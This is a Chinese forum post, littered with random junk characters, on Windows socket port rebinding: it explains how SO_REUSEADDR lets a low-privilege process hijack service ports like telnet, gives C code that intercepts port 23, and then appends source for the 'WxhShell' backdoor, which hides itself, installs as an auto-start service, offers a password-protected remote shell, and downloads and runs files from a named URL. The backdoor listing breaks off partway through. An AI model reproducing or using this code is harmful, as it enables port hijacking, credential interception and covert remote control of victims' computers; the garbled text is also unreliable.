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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: {0NsDi>(2  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); c8bca`  
7\7Brw4  
  saddr.sin_family = AF_INET; yt/20a  
6%\7.h  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); .ujs`9d_-  
\_*?R,$3Y,  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); S5:"_U  
(PCimT=5  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 |<|28~#  
n/9 LRZD|w  
  这意味着什么?意味着可以进行如下的攻击: ^l]]qdNr  
JcvHJ0X~a  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ]FY?_DGOA  
jI*}y[o  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) &&(4n?   
%Y)PH-z  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 5 {T9*  
}<( "0jC  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  q7 %=`l  
b>hBct}  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 T..N*6<X  
y1,?ZWTayr  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ]y1$F Ir+  
JfZL?D{NM  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 C?GvTc  
^%K1R;  
  #include ;,F-6RNj  
  #include 8]cv&d1f  
  #include TTA{#[=7  
  #include    d&PE,$XC  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ?V&Ld$db  
  int main() WrE-Zti  
  { ifJv~asp   
  WORD wVersionRequested; <r_P? lZW  
  DWORD ret; rE1np^z7  
  WSADATA wsaData; E"9/YWv  
  BOOL val; mJ6t.%'d  
  SOCKADDR_IN saddr; ?MV[=LPL  
  SOCKADDR_IN scaddr; tMD^$E"C  
  int err; ,mO(!D  
  SOCKET s; L337/8fh  
  SOCKET sc; fd!pM4"0  
  int caddsize; ;w>3,ub(0  
  HANDLE mt; .XV]<)<K$  
  DWORD tid;   dK0}% ]i3#  
  wVersionRequested = MAKEWORD( 2, 2 ); |g7nh[  
  err = WSAStartup( wVersionRequested, &wsaData ); +BtLyQ  
  if ( err != 0 ) { yBYuDfeZ  
  printf("error!WSAStartup failed!\n"); k=h/i8i2z  
  return -1; 5p]urfN-f  
  } mC{!8WC@k  
  saddr.sin_family = AF_INET; mFgb_Cd  
   ),D`ZRXS  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 uZqu xu.  
qHC*$v#.V?  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ?{@!!te@3v  
  saddr.sin_port = htons(23); VV0EgfJ  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) %9~kA5Qj  
  { KV^:sxU  
  printf("error!socket failed!\n"); q_9N+-?{7  
  return -1; nK?k<  
  } DU*g~{8T$  
  val = TRUE; + ,vJ7  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 {|Mxvp*Hg  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) xoz*UA.  
  { 8^P2GG'+-  
  printf("error!setsockopt failed!\n"); zCj*:n  
  return -1; =#POMK".6  
  } d!}jdt5%  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; xVHQ[I%  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 eu}:Wg2  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 i h`y0(<  
Pjj;.c 7_j  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Pq{YZMr  
  { 26('V `N  
  ret=GetLastError(); evndw>  
  printf("error!bind failed!\n"); t(z(-G|&  
  return -1; ^V XXq  
  } n7`.<*:  
  listen(s,2); "EOk^1,y  
  while(1) eSvc/CU  
  { ~u?x{[  
  caddsize = sizeof(scaddr); :r vO8.\  
  //接受连接请求 ) <}VP&:X  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); A_6/umF[ZA  
  if(sc!=INVALID_SOCKET) >"sKfiM)b  
  { \0*yxSg,^  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); C~ }Wo5  
  if(mt==NULL)  eo<~1w  
  { WoClTb>F  
  printf("Thread Creat Failed!\n"); *FLTz(T  
  break; IJ #v"! D  
  } 5JU(@}Db  
  } 6gg#Z  
  CloseHandle(mt); <750-d!  
  } <@x+N%C  
  closesocket(s); RBv=  
  WSACleanup(); $:-= >  
  return 0; #/XK&(X  
  }   QAOk  
  DWORD WINAPI ClientThread(LPVOID lpParam) R+ #.bQg  
  { @0/@p"j  
  SOCKET ss = (SOCKET)lpParam; O w($\,  
  SOCKET sc; g1hg`qBBW  
  unsigned char buf[4096]; Be14$7r  
  SOCKADDR_IN saddr; L3G)?rPFC#  
  long num; ( 7Ca\H3$  
  DWORD val; zM8/ s96h  
  DWORD ret; ?^G$;X7B  
  //如果是隐藏端口应用的话,可以在此处加一些判断  a`h$lUb-  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ZAnO$pA  
  saddr.sin_family = AF_INET; 4Ow Vt&  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); o{-USUGj7  
  saddr.sin_port = htons(23); gE6y&a  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *NwKD:o  
  { }07<(,0n  
  printf("error!socket failed!\n"); !+*?pq  
  return -1; +poIgjq0  
  }  1+i  
  val = 100; v0jz)z<#  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) t#D\*:Xi  
  { %. 6?\w1e  
  ret = GetLastError(); _>?8eC]4a  
  return -1; /J9T=N  
  } Bu >yRL=*  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \ \mO+N47i  
  { EH!EyNNb  
  ret = GetLastError(); = VX<eV  
  return -1; @=zBF'<.9  
  } uy*x~v*I]  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 82@;.%  
  { 1Sc~Vb|>  
  printf("error!socket connect failed!\n"); g!kRa.`u1  
  closesocket(sc); -Bwu$$0  
  closesocket(ss); e,j? _p  
  return -1; $RFu m'`5  
  } G/RheH G  
  while(1) uTlT'9)  
  { Bdk{.oh6  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 nO.+&kA  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ;~1/eF  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 @Ozf}}#  
  num = recv(ss,buf,4096,0); M:Y!k<p  
  if(num>0) YT 03>!B  
  send(sc,buf,num,0); '`goy%Wd  
  else if(num==0) ##+ 8GLQM  
  break; WbDC  
  num = recv(sc,buf,4096,0); Kp=3\)&  
  if(num>0) $d??(   
  send(ss,buf,num,0); vM4`u5  
  else if(num==0) kq.R(z+  
  break; v8fZ?dx  
  } pt|$bU7  
  closesocket(ss); ;Q,).@<C  
  closesocket(sc); 7rDRu]  
  return 0 ; PA-0FlV|  
  } 4oa P"T@6  
T[!q&kFB  
Mp @(/  
========================================================== ,E8>:-boL  
Y"\T*lKa  
下边附上一个代码,,WXhSHELL 9q@YE_ji  
(XIq?c1T  
========================================================== #]\G*>{  
zl8\jP  
#include "stdafx.h" I(kIHjV|  
>dC(~j{  
#include <stdio.h> b%~3+c  
#include <string.h> ZT-45_  
#include <windows.h> VflPNzixb!  
#include <winsock2.h> 0@/E% T1c"  
#include <winsvc.h> m&z %kVsg]  
#include <urlmon.h> Nwu Be:"@  
xg5@;p  
#pragma comment (lib, "Ws2_32.lib") au}0PnA;  
#pragma comment (lib, "urlmon.lib") ,c %gwzU  
I;m@cSJ|j  
#define MAX_USER   100 // 最大客户端连接数 _.8]7f`*Gc  
#define BUF_SOCK   200 // sock buffer ^l2d?v8  
#define KEY_BUFF   255 // 输入 buffer _TcQ12H 5<  
 !+VN   
#define REBOOT     0   // 重启  9DAwC:<r  
#define SHUTDOWN   1   // 关机 =/'*(\C2  
-8kW!F  
#define DEF_PORT   5000 // 监听端口 Eq.zCD8A  
nhxd  
#define REG_LEN     16   // 注册表键长度 K[;,/:Y  
#define SVC_LEN     80   // NT服务名长度 v5bb|o[{K  
vc1GmB  
// 从dll定义API nz?BLO=  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); /Ta0}Y(y  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); KZ/^gR\d  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); EsxTBg  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ~S{\wL53  
3bL2fsn5  
// wxhshell配置信息 W oG  
struct WSCFG { (']z\4o  
  int ws_port;         // 监听端口 exN#!& ;  
  char ws_passstr[REG_LEN]; // 口令 a|{<#<6n(  
  int ws_autoins;       // 安装标记, 1=yes 0=no k.R/X  
  char ws_regname[REG_LEN]; // 注册表键名 ZZJ"Ny.2  
  char ws_svcname[REG_LEN]; // 服务名 YZtA:>;p  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ZTz(NS EK  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 x3F L/^S  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Us~wv"L=UX  
int ws_downexe;       // 下载执行标记, 1=yes 0=no QS?9&+JM|  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" mb6?$1j  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Y~ ?YA/.x  
|B WK"G  
}; H9m2Whq  
MZMv.OeYt,  
// default Wxhshell configuration @y2Bq['  
struct WSCFG wscfg={DEF_PORT, <1%XN  
    "xuhuanlingzhe", ieoUZCO^r\  
    1, =` >Nfa+,  
    "Wxhshell", ;j\$[4W.i  
    "Wxhshell", ~(P\F&A(&  
            "WxhShell Service", 5*'N Q010  
    "Wrsky Windows CmdShell Service", 6 FxndR;  
    "Please Input Your Password: ", KFG^vmrn  
  1, e7AI&5Eg{  
  "http://www.wrsky.com/wxhshell.exe", `l40awGCz  
  "Wxhshell.exe" t7%Bv+Uo  
    }; JKv4}bv  
n&{N't  
// 消息定义模块 u"$HWB~@z  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 7#*CWh1BNO  
char *msg_ws_prompt="\n\r? for help\n\r#>"; .ihn@eg  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; I,Y^_(JW  
char *msg_ws_ext="\n\rExit."; 4tu>~ vOE  
char *msg_ws_end="\n\rQuit."; fBh|:2u  
char *msg_ws_boot="\n\rReboot..."; FOyfk$  
char *msg_ws_poff="\n\rShutdown..."; BrmFwXLP"  
char *msg_ws_down="\n\rSave to ";  xyCcd=  
l zkn B  
char *msg_ws_err="\n\rErr!"; 3nGK674;z  
char *msg_ws_ok="\n\rOK!"; -mdPqVIJn:  
`erQp0fBM  
char ExeFile[MAX_PATH]; Ekp 0.c8:  
int nUser = 0; 4nXS9RiF2  
HANDLE handles[MAX_USER]; UsKn4Kh  
int OsIsNt; pODo[Rkq  
2;7GgO~  
SERVICE_STATUS       serviceStatus; wpMQ 7:j  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; SvrV5X  
;] o^u.PC  
// 函数声明 E1[%~Cpw*  
int Install(void); 3ZZI1_j  
int Uninstall(void); KywT Oq  
int DownloadFile(char *sURL, SOCKET wsh); ,fL e%RP  
int Boot(int flag); }i~j"m  
void HideProc(void); g{{SY5qDj  
int GetOsVer(void); U^S:2  
int Wxhshell(SOCKET wsl); pMrf i}esx  
void TalkWithClient(void *cs); ~u1J R`y  
int CmdShell(SOCKET sock); ~/[N)RFD  
int StartFromService(void); ds[~Cp   
int StartWxhshell(LPSTR lpCmdLine); ZWW}r~d{  
pDN,(Ip  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); W]]2Uo.  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); t $%}*@x7  
[$+61n}.12  
// 数据结构和表定义 ho<#i(  
SERVICE_TABLE_ENTRY DispatchTable[] = 9peB+URV  
{ ]&BFV%kw  
{wscfg.ws_svcname, NTServiceMain}, K",]_+b  
{NULL, NULL} b=go"sJ@>(  
}; $$>,2^qr&L  
5< nK.i,  
// 自我安装 2Vr'AEIQ  
int Install(void) 2M`Ni&v  
{ ^ZBkt7  
  char svExeFile[MAX_PATH]; "FD~XSRL  
  HKEY key; {(Z1JoSl  
  strcpy(svExeFile,ExeFile); EFOQ;q  
 .l'QCW9  
// 如果是win9x系统,修改注册表设为自启动 `/iN%ZKum  
if(!OsIsNt) { AIo;\35  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |%9~W^b  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [a6lE"yr  
  RegCloseKey(key); $o^}<)DW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { B-zt(HG  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); L1+cv;t  
  RegCloseKey(key); F.hC%Ncu  
  return 0; OQyOv%g5C  
    } 8b $7#  
  } ThB2U(Wf  
} :v48y.Ij7s  
else { ;W:Q}[  
7%WI   
// 如果是NT以上系统,安装为系统服务 O;tn5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Vt>E\{@[t  
if (schSCManager!=0) (ZJ_&8C#  
{ > [7vX m4  
  SC_HANDLE schService = CreateService m 9Q{ )?J7  
  ( CiF bk&-g  
  schSCManager, Ha\hQ'99  
  wscfg.ws_svcname, Rh^$0Q*2  
  wscfg.ws_svcdisp, 2|EoP-K7  
  SERVICE_ALL_ACCESS, ]e9kf$'  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , I}{eYXh  
  SERVICE_AUTO_START, 0U~JSmj:2K  
  SERVICE_ERROR_NORMAL, }%|OnEk"  
  svExeFile, <9vkiEo  
  NULL, 3+ 'w%I  
  NULL, ^.7xu/T  
  NULL, ?,[w6O*  
  NULL, xCD+qP ^  
  NULL B7C6Mau  
  ); co|0s+%PBq  
  if (schService!=0) b1"wQM9  
  { <Do89  
  CloseServiceHandle(schService); v%w]Q B  
  CloseServiceHandle(schSCManager); OYkd?LN  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #B[>\D"*  
  strcat(svExeFile,wscfg.ws_svcname); ~<3yTl>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { |,crQ'N'  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); }W J`q`g  
  RegCloseKey(key); Urr1 K)  
  return 0; _L ].n)b  
    } M~4!gKs  
  } ~f:fOrLE#  
  CloseServiceHandle(schSCManager); }M@pdE  
} 2J5dZYW  
} 8h=XQf6k0  
c@P,  
return 1; dEn hNPeRl  
} *BV .zbGm  
X5=7DE]  
// 自我卸载 O)?0G$0  
int Uninstall(void) >'eqOZM  
{ V^D#i(5  
  HKEY key; Gy5W;,$q  
0%GWc}o  
if(!OsIsNt) { uB?YJf .T@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { TnrMR1Zx  
  RegDeleteValue(key,wscfg.ws_regname); JP]K\nQx'  
  RegCloseKey(key);  u[u=:Y+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,b8AB_yw  
  RegDeleteValue(key,wscfg.ws_regname); \v<}{\.|$  
  RegCloseKey(key); \$I )}  
  return 0; e# DAa  
  } A{k@V!A%  
} {u5@Yp  
} jdzV&  
else { }\F>z  
\GN5Sy]r  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); JqO( ]*"Hi  
if (schSCManager!=0) $n) w4p_  
{ utXcfKdt  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); e:]$UAzp  
  if (schService!=0) ;-F#a+2]!  
  { 9z?F_=PB!  
  if(DeleteService(schService)!=0) { K':f!sZ&2  
  CloseServiceHandle(schService); k dqH36&<  
  CloseServiceHandle(schSCManager); @ NF8?>!  
  return 0; Z'~5L_.]Ai  
  } &*}S 0  
  CloseServiceHandle(schService); pfG:P rZ  
  } d$ /o\G  
  CloseServiceHandle(schSCManager); (.cT<(TB  
} d0,I] "  
} "v06F j>q  
)]}*oO  
return 1; A, os rv  
} @UA>6F  
:5(TOF  
// 从指定url下载文件 We`axkC  
int DownloadFile(char *sURL, SOCKET wsh) 5D#*lMSP"'  
{ sr\MQ?\fB  
  HRESULT hr; DmYm~hzJ  
char seps[]= "/"; `i}\k  
char *token; Mm5l>D'c  
char *file; 6 B )   
char myURL[MAX_PATH]; ]PFc8qv{  
char myFILE[MAX_PATH]; fAK  
?'%&2M zM  
strcpy(myURL,sURL); }5gQZ'ys'  
  token=strtok(myURL,seps); )\e_I\-  
  while(token!=NULL) 9/{g%40B^  
  { O =fT;&%.  
    file=token; ^ZsME,  
  token=strtok(NULL,seps); 1_' ZbZv4h  
  } tnsYY  
&sW/r::,  
GetCurrentDirectory(MAX_PATH,myFILE); BBX4^;t  
strcat(myFILE, "\\"); 0Ec -/   
strcat(myFILE, file); 2a G<^3  
  send(wsh,myFILE,strlen(myFILE),0); P>H'od  
send(wsh,"...",3,0); Av'H(qB\K  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 4DNZ y2`  
  if(hr==S_OK) I|.B-$gH  
return 0; 1+^c3Dd`  
else =\3*;59\  
return 1; {Hb _o)S  
&I70veNY  
} jq[>PvR  
=($qiL'h  
// 系统电源模块 c/s'&gG33z  
int Boot(int flag) i55']7+0  
{ eRf 8'-"#-  
  HANDLE hToken; +5Mx0s(5  
  TOKEN_PRIVILEGES tkp; w9 N Um  
Y3thW@mD05  
  if(OsIsNt) { }>j$Wr_h  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Bg3^BOT  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 33; yt d  
    tkp.PrivilegeCount = 1; Nb$)YMbA  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; `1P &  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); WN0^hDc-  
if(flag==REBOOT) { m?csake.Me  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) wiutUb Y  
  return 0; ' ft  |  
} R(:q^?  
else { )a.U|[:y[+  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) &1I0i[R  
  return 0; -Oo$\=d  
} 5%Q!R%  
  } F8pLA@7[  
  else { g><sZqj8tt  
if(flag==REBOOT) { W6)A":`  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) "];19]x6q  
  return 0; q[+];  
} #):FXB$a  
else { /g_}5s-Z  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6Us#4 v,  
  return 0; ]6%| L  
} 3A+d8fwi  
} `527vK 6  
!6kLg1  
return 1; D3_,2  
} Q=+KnE=h  
<@?bYp  
// win9x进程隐藏模块 4Iz~3fqB7  
void HideProc(void) rod{77  
{ 8U-}%D<a  
1|zo -'y  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); G6I>Ry[2?  
  if ( hKernel != NULL ) /JvNJ f  
  { kY*D s;  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Pp}j=$&j\  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); `=FfzL  
    FreeLibrary(hKernel); X&K1>dgWP  
  } $FD0MrB_+  
P'g$F<~V  
return; !#>{..}}3  
} _xbVAI4  
x1TB (^aX  
// 获取操作系统版本 2cww7z/B  
int GetOsVer(void) nzU@}/A/  
{ ATwPfo8jx@  
  OSVERSIONINFO winfo; :HwB+Bjy  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9XS'5AXN  
  GetVersionEx(&winfo); |n~- LH++  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) pN?  
  return 1; 7^ER?@:W  
  else or0f%wAF  
  return 0; @k6>&PS  
} &u.t5m7(  
]A'E61t<n  
// 客户端句柄模块 B[8  
int Wxhshell(SOCKET wsl)  snX5mD  
{ z0c_&@uj*  
  SOCKET wsh; 8)T.[AP  
  struct sockaddr_in client; ;Lz96R@}  
  DWORD myID; @c5TSHSL.  
LA1UD+S  
  while(nUser<MAX_USER) ^f@EDG8  
{ Lg-Sxz}P!  
  int nSize=sizeof(client); ]81P<Y(7  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 'b%S3)}  
  if(wsh==INVALID_SOCKET) return 1; h\jwXMi,tj  
d?'q(6&H  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); XO219   
if(handles[nUser]==0) YX- G>.Pc  
  closesocket(wsh); 2b2/jzO}J  
else hbn2(e;FZ  
  nUser++; IRD?.K]*  
  } |LWG7 ZE  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {8'I+-  
)p 2kx  
  return 0; 81`-xVd  
} H:2#/1Oz>  
LLCMp3qBz  
// 关闭 socket z^@98:x  
void CloseIt(SOCKET wsh) c?IFI   
{ v, 9MAZ,  
closesocket(wsh); F`+}p-  
nUser--; <$/'iRtRzW  
ExitThread(0); /dj r_T  
} d/N&bTg:  
h9$Ov`N(%  
// 客户端请求句柄 3y<;fdS7  
void TalkWithClient(void *cs) 6f(K'v  
{ xV}-[W5sr'  
94\k++kc  
  SOCKET wsh=(SOCKET)cs; ?o?~Df&  
  char pwd[SVC_LEN]; "1yXOy^2  
  char cmd[KEY_BUFF]; Fn1|Wt*  
char chr[1]; J1KV?aR  
int i,j; \= =rdW-  
p78X,44xg  
  while (nUser < MAX_USER) { *+rO3% ;t  
;(5b5PA  
if(wscfg.ws_passstr) { CWHTDao  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); '+JU(x{CCl  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M|6 l  
  //ZeroMemory(pwd,KEY_BUFF); B^Fe.ty  
      i=0; 1>|2B&_^  
  while(i<SVC_LEN) { 5Z@OgR  
#Fm,mO$v  
  // 设置超时 \%g# __\  
  fd_set FdRead; XcD$xFDZ  
  struct timeval TimeOut; #|ETH;HM  
  FD_ZERO(&FdRead); +a0q?$\  
  FD_SET(wsh,&FdRead); 7&-B6Y4  
  TimeOut.tv_sec=8; B=8],_  
  TimeOut.tv_usec=0; +O8rjVg)  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); `2.[8%6  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); krnxM7y  
_vr> -:G  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;Hk{bz(  
  pwd=chr[0]; Y|stxeOC  
  if(chr[0]==0xd || chr[0]==0xa) { H$^IT#  
  pwd=0; -T$%MX  
  break; Q+YYj  
  } j]~;|V5Z  
  i++; ]rY:C "#  
    } \jH^OXxb  
jbZ%Y0km%  
  // 如果是非法用户,关闭 socket gE;r;#Jt4  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [+j }:u  
} pbJC A&  
P+K< /i  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); lXso@TNrZ0  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V $Y=JK@  
rlV:% k  
while(1) { rY yB"|  
Vz[tgb]-  
  ZeroMemory(cmd,KEY_BUFF); X+dLk(jI`u  
1g<jr.  
      // 自动支持客户端 telnet标准   -!4Mmp"2@u  
  j=0; 1<766  
  while(j<KEY_BUFF) { h0ml#A`h  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U|yXJ.Z3  
  cmd[j]=chr[0]; vM5yiHI(jb  
  if(chr[0]==0xa || chr[0]==0xd) { F8Y_L\q  
  cmd[j]=0; +J [<zxh\  
  break; _[IOPHa"  
  } /zV&ebN]  
  j++; ;=r_R!d@  
    } {^(h*zxn  
t`%Xxxu  
  // 下载文件 `-yo-59E[  
  if(strstr(cmd,"http://")) { Fp=O:]  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); !79eF)  
  if(DownloadFile(cmd,wsh)) -9)H [}.  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); :Q]P=-Y8  
  else $DS|jnpV  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); meJ%mY  
  } Pnl+.?  
  else { xs?Ska,N  
Qze.1h  
    switch(cmd[0]) { 3&`LVhx  
  fD:BKJQ  
  // 帮助 L"[2[p  
  case '?': { L/*D5k%J  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =2J^ '7  
    break; 7H=V|Btnc  
  } 9:9gam  
  // 安装 {$AwG#kt  
  case 'i': { 5TynAiSD_>  
    if(Install()) 1|bg;X9+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <b>g^ `}?D  
    else + PAb+E|,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {#U 3A_y  
    break; Rq`d I~5!b  
    } t nvCtuaR  
  // 卸载 e)BU6m%  
  case 'r': { ~S\y)l\wZ  
    if(Uninstall()) y) .dw(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ag02=}Q'r  
    else M1HGXdN*B  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #EG$HX]  
    break; wa1Qt  
    } y\?NB:=%  
  // 显示 wxhshell 所在路径 z*,J0)<Q  
  case 'p': { A  r,fmq  
    char svExeFile[MAX_PATH]; 'LX]/ D  
    strcpy(svExeFile,"\n\r"); b%wm-p  
      strcat(svExeFile,ExeFile); ^7l+ Of b3  
        send(wsh,svExeFile,strlen(svExeFile),0); 15J t @{<r  
    break; vCX 54  
    } X:2)C-l?  
  // 重启 &9OnN<mT1  
  case 'b': { jCp^CNbA  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -4Hf5!  
    if(Boot(REBOOT)) ZVIlVuZ}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y?P4EVknM3  
    else { >S}^0vNZX  
    closesocket(wsh); +d!"Zy2|B  
    ExitThread(0); `=%mU/v  
    } i K,^|Q8  
    break; *N65B#  
    } r7FFZNs!  
  // 关机 \DMZ M  
  case 'd': { c9O0YQ3&8  
